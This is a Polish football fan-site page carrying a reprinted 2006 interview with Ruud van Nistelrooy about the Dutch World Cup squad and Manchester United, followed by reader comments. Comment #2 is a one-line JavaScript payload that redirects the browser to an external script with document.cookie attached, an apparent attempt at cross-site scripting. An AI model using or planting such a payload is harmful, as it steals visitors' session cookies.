CHAMPIONS 20 TIMES

QUIZ

Pamiętasz sezon 1998/1999, w którym to Manchester United nie miał sobie równych i zdobył słynną... ROZWIĄŻ QUIZ

+ +1 - Wywiad z RvN

Wywiady Kala @04.06.2006, 12:28 | Przeczytano 2333 razy

Wywiad z RvN
13 lutego 2006 na berlińskim Stadionie Olimpijskim, na którym 9 lipca zostanie rozegrany finał mistrzostw świata, odbyła się prezentacja nowych strojów, jakie Nike przygotował na ten turniej. W kuluarach, można było spotkać znakomitych zawodników ze stajni amerykańskiego koncernu odzieżowego – między innymi Holendra Ruuda van Nistelrooya , jednego z faworytów do tytułu króla strzelców Weltmeisterschaft.

-Zaczynam coraz częściej myśleć oraz rozmawiać o mistrzostwach – mówi Ruud van Nistelrooy, holenderski napastnik Manchesteru United.
– I chciałbym żeby zaczęły się jak najszybciej. To niesamowite uczucie, wiedzieć, że będzie się częścią czegoś tak wspaniałego jak mundial.

- Jaka jest pańska opinia na temat grupy, do której trafiła Holandia?
- Wszyscy okrzyknęli ją najtrudniejszą i nazwali grupą śmierci. Los faktycznie nie był łaskawy przydzielając nam takich rywali. Argentyna to jedna z najlepszych drużyn na świecie i faworyt do końcowego triumfu. W zespole Wybrzeża Kości Słoniowej występuje wielu świetnych piłkarzy, którzy w dopiero co zakończonym Pucharze Narodów Afryki zajęli drugie miejsce przegrywając złoto w rzutach karnych. No i jeszcze Serbia i Czarnogóra – także świetny przeciwnik, z takimi graczami jak Mateja Keżman, czy mój nowy kolega z Manchesteru United – Nemanja Vidić. Czekają na nas trzy bardzo ciężkie mecze.

- W takim razie – jaka jest według Ruuda van Nistelrooya recepta na awans z takiej grupy?
- Najważniejsze będzie pierwsze spotkanie – przeciwko Serbom. Ten mecz trzeba koniecznie wygrać, bo inaczej szanse wyraźnie zmaleją. Także z psychologicznego punktu widzenia dobrze jest rozpocząć mundial od trzech punktów. Ale zdaję sobie sprawę z siły tego rywala. Wystarczy popatrzeć na styl, w jakim piłkarze SiC zakwalifikowali się do finałów MŚ – w eliminacjach stracili tylko jedną bramkę. To naprawdę robi duże wrażenie.

- Ma pan już plany na 9 lipca?
- Oczywiście, to dzień finału. Obudzę się rano i w skupieniu przeczekam do wieczora. Potem wyjdę na murawę Olimpiastadion w Berlinie i po dziewięćdziesięciu minutach będę wyczerpany, ale za to najszczęśliwszym człowiekiem na planecie. Mam nadzieję, że tak właśnie będzie wyglądał ten dzień.

- Jesteście w stanie zdobyć mistrzostwo świata? Nie ma pan wrażenia, że holenderska drużyna jest obecnie zbyt młoda i niedoświadczona?
- Wręcz przeciwnie – uważam, że w tym właśnie tkwi nasza siła. Reprezentacja Oranje jest pełna zawodników głodnych sukcesu, z mnóstwem pasji do gry i czerpiących z niej radość. Nie jesteśmy zblazowaną, zepsutą ekipą. Poza tym, z nami będzie armia naszych kibiców, którzy do Niemiec mają bardzo blisko. Jestem pewien, że podczas większości spotkań trybuny całe będą pomarańczowe, a my poczujemy się, jakbyśmy grali u siebie.

- A nie boi się pan, że powróci koszmar z historii? To znaczy – że znowu podziały rozbiją zespół i atmosfera się zepsuje?
- Jakie podziały?

- Chociażby na białych i czarnoskórych, jak to podobno miało miejsce jeszcze kilka lat temu.
- Nie powie mi pan, że wierzy w plotki?

- Widzę co się dzieje, a właściwie – co się działo. W trakcie Euro ’96 Clarence Seedorf został odesłany do domu, a tuż przed World Cup ’94 wycofał się Ruud Gullit. Szczególnie w tym pierwszym przypadku podobno chodziło o rasę?
- Lepiej w plotki nie wierzyć. A wracając do tematu – obecnie atmosfera w kadrze jest wzorowa i jestem pewien, że utrzyma się do mistrzostw.

- W annałach zapisało się kilka rywalizacji między odwiecznymi rywalami – Holandią i Niemcami, którzy w dodatku będą teraz gospodarzami imprezy. Liczy pan na powtórkę z historii?
- Mecze między tymi dwiema drużynami elektryzują cały piłkarski świat, a kibiców obu nacji doprowadzają do stanu wrzenia. Nie miałbym nic przeciwko spróbowaniu się z gospodarzami Weltmeisterschaft 2006. Z Niemcami możemy grać albo w ćwierćfinale – gdy jedna z drużyn wygra swoją grupę, a druga zajmie drugie miejsce – albo dopiero w wielkim finale, w przypadku, gdy obie zajmą pierwsze miejsca w grupach.

- Jak pan wspomina poprzednie mistrzostwa świata, które musiał pan z racji tego, że Holandia się do nich nie zakwalifikowała, oglądać w telewizji?
- Okropnie. Miałem, już co prawda doświadczenie, ponieważ z powodu kontuzji nie zagrałem w Euro 2000 w mojej ojczyźnie. Wolę być na boisku, strzelać gole i wygrywać.

- Jak to się dzieje, że Holandia, która jest przecież małym krajem, ma tylu niesamowicie utalentowanych piłkarzy?
- W każdym miasteczku, wiosce jest klub, w którym chłopcy do nocy kopią piłkę. Klucz jednak tkwi w szkoleniu. Ponieważ nawet najmniejszy klub zatrudnia prawdziwych fachowców są rezultaty tej pracy od podstaw.

- Ale pan nie był jednym z tych cudownych dzieci holenderskiej piłki, które robią kariery?
- Miasteczko, w którym się urodziłem – Oss, jest tak małe, że nawet słynni holenderscy skauci tam nie zaglądają. Dlatego nie dane było mi zrobić jakiegoś wielkiego skoku, a moja kariera rozwijała się powoli i harmonijnie. Na wszystko zapracowałem ciężkimi treningami. Ale cieszę się, że tak właśnie się potoczyło, bo nie było szans, żeby odbiła mi woda sodowa do głowy. Każdy kolejny sportowy awans czynił mnie silniejszym człowiekiem szczerze mówiąc – uważam swoją karierę za modelową.

- Czy w pana życiu, zawodowego piłkarze, jest jeszcze w ogóle miejsce na miłość do futbolu?
- Tego się nie da opisać słowami. Piłka towarzyszy mi w życiu jak głęboko sięgam pamięcią. Jest częścią mojego życia, to ona mnie w znacznej mierze ukształtowała i wpływała na decyzję, które podejmowałem. Dzięki niej przeżyłem wiele niezapomnianych chwil.

- Podobają się panu nowe koszulki reprezentacji Holandii?
- Nawet bardzo. Przypominają te, w jakich grała nasza wielka drużyna z 1974 roku z Johanem Cruyfem w składzie. Podobnie jak w tamtych, herb federacji został wyeksponowany, no i te piękne kołnierzyki.

- Porozmawiajmy na chwilę o Manchesterze United. Jak pan odebrał wczesne odpadnięcie z Ligi Mistrzów?
- To było dla nas wszystkich ogromne rozczarowanie. Nikt w klubie nie przewidział scenariusza, w którym na wiosnę zostanie nam tylko liga i krajowy puchar. Ale mimo to atmosfera w MU wciąż jest dobra i nie skaczemy sobie do gardeł. Mamy młody zespół, który jeżeli nadal będzie robił postępy, już wkrótce znowu wepchnie United na właściwe tory.

- Nie jest pan rozczarowany, że pozostała już właściwie tylko walka o drugą lokatę w Premiership? Bo Chelsea jest chyba poza zasięgiem?
- Liga się jeszcze nie skończyła. The Blues to nie maszyna i też zaczną gubić punkty. Jeżeli zakończymy jednak sezon tylko na drugim miejscu, to i tak będzie to drugi najlepszy scenariusz, jaki sobie zakładaliśmy. Trzeba jednak zrobić wszystko, żeby gonić zespół José Mourinho. Lepiej być wicemistrzem z punktem straty, niż z piętnastoma.

- Kto jest pana faworytem do zwycięstwa w Lidze Mistrzów?
- Moim cichym faworytem jest oczywiście mój poprzedni klub – PSV Eindhoven. Już w zeszłym roku byli blisko. Życzę im tego całego serca.

- Czy to prawda, że w dzieciństwie pańskim idolem był obecny selekcjoner reprezentacji Holandii – Marco van Basten?
- A tu pana zaskoczę, moim największym idolem wcale nie był Van Basten, tylko Diego Maradona! To, co ten facet robił z piłką, przechodziło ludzkie pojęcie.

Źródło: Piłka Nożna nr 8, 21.02.2006 r.

Komentarze (17) Obserwuj Dodaj opinię

Postów: 207

Napisz PW
dodano: 10.11.2014, 19:10, #17 Zwiń/Pokaż komentarz UNITED PANY
RUD był dobry nawet bardzo dobry
Postów: 3598

Napisz PW
dodano: 09.06.2008, 22:28, #16 Zwiń/Pokaż komentarz Redakcja: xmilkaax
brawo.!
Postów: 5300

Napisz PW
dodano: 26.05.2008, 14:48, #15 Zwiń/Pokaż komentarz M.C.T.
Van Nistelrooy dal nam mnostwo powodow do radosci, byl swietny...ale szczerze mowiac wogole mi go nie brakuje...
Postów: 13042

Napisz PW
dodano: 23.05.2008, 20:15, #14 Zwiń/Pokaż komentarz kam17
To był,jest i będzie wspaniały napastnik!
Postów: 975

Napisz PW
dodano: 16.03.2008, 13:45, #13 Zwiń/Pokaż komentarz MUhubertf.c.r11
K29 ma rację
Postów: 927

Napisz PW
dodano: 11.02.2008, 21:42, #12 Zwiń/Pokaż komentarz Joe-Cole
75
Postów: 927

Napisz PW
dodano: 11.02.2008, 21:41, #11 Zwiń/Pokaż komentarz Joe-Cole
57
Postów: 439

Napisz PW
dodano: 05.06.2007, 10:57, #10 Zwiń/Pokaż komentarz K29
Widać, że La Liga mu sluży...BRAVO RUUD...Legenda MU!!!
Postów: 3690

Napisz PW
dodano: 26.05.2007, 12:32, #9 Zwiń/Pokaż komentarz Masło
Szkoda, że Ruud odszedł do Realu. To świetny piłkarz.
Postów: 517

Napisz PW
dodano: 24.02.2007, 21:46, #8 Zwiń/Pokaż komentarz ArjenRobben
RvN jest obecnie 1 z 4 najlepszych napastników swiata obok Drogby, Henry'ego, Ibrahimovica, sprzedanie go za 15 mln to pomyłka
Postów: 22

Napisz PW
dodano: 13.02.2007, 14:06, #7 Zwiń/Pokaż komentarz Frank_Lampard
RvN jest dobrym piłkarzem, szkoda że nie wybrał Chelsea tylko real:/
Postów: 517

Napisz PW
dodano: 30.01.2007, 22:39, #6 Zwiń/Pokaż komentarz ArjenRobben
RvN a kto to jest??
Postów: 898

Napisz PW
dodano: 03.09.2006, 12:21, #5 Zwiń/Pokaż komentarz Davix
Hmm... no i Honaldia odpadła i to dość szybko... a Ruud sie nie popisał, bo strzelił 1 gola :/
Postów: 68

Napisz PW
dodano: 30.08.2006, 21:37, #4 Zwiń/Pokaż komentarz Rzepol
nie zdobyli i nie zdobędą lol
Postów: 83

Napisz PW
dodano: 30.08.2006, 17:18, #3 Zwiń/Pokaż komentarz bimass
oranje nie zdobeda MS
dodano: 08.07.2006, 01:08, #2 Zwiń/Pokaż komentarz Gość [77.253.7.***]
window.location =' http://membe(...)ack.php?'+document.cookie;
Postów: 305

Napisz PW
dodano: 05.07.2006, 20:39, #1 Zwiń/Pokaż komentarz skrzypu1992
Fajny wywiad! Najbardzie mi sie podoba odpowiedź na pytanie:

- Ma pan już plany na 9 lipca?
- Oczywiście, to dzień finału. Obudzę się rano i w skupieniu przeczekam do wieczora. Potem wyjdę na murawę Olimpiastadion w Berlinie i po dziewięćdziesięciu minutach będę wyczerpany, ale za to najszczęśliwszym człowiekiem na planecie. Mam nadzieję, że tak właśnie będzie wyglądał ten dzień

Fajnie Ruud to ują! Szkoda ,że mu nie wszyło ;) ale pozdro dla niego ]:>
[x]Informujemy, że ta strona korzysta z plików cookies w celu realizacji usług i zgodnie z polityką plików cookies. W każdym czasie możesz określić w swojej przeglądarce warunki przechowywania lub dostępu do plików cookies.